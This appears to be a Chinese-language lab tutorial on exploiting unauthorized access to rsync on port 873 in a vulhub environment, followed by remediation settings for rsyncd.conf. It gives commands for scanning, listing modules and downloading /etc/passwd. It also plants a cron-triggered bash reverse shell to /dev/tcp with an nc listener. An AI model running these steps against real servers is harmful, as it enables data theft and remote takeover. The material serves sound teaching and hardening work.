rsync未授权访问漏洞简介
rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
rsync未授权访问漏洞复现
漏洞环境搭建
cd vulhub-master/rsync/common
docker-compose up -d
漏洞复现
rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。
1、nmap扫描目标系统是否开放rsync服务
nmap -p 873 192.168.0.113
2、使用如下两条命令之一,列出目标服务器的同步目录
rsync 192.168.0.113::
rsync rsync://192.168.0.113:873
//rsync ip::
//rsync rsync://ip:873
3、查看模块文件
获取到目录之后,只需在路径后添加目录名即可查看目录中的文件
rsync 192.168.0.113::src
4、下载任意目录文件
rsync -av 192.168.0.113::src/etc/passwd ./
//rsync -av ip::src/路径
5、向目标系统上传任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径
rsync未授权访问漏洞扫描探测
1、namp
nmap -p 873 --script rsync-list-modules 192.168.2.102
2、metasploit
rsync未授权访问漏洞反弹shell
1、下载cron定时任务配置文件并且查看任务内容
rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务
2、创建shell文件,写入反弹shell命令
touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1
3、传入/etc/cron.hourly目录下
rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
4、监听8888端口,等待17分钟之后,接收反弹shell
nc -lvp 8888
rsync未授权访问漏洞攻击流量分析
rsync未授权访问漏洞修复
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
详情可参考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html
参考链接
freebuf-每日漏洞 | rsync未授权访问
Tide安全团队-rsync未授权访问漏洞利用复现
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !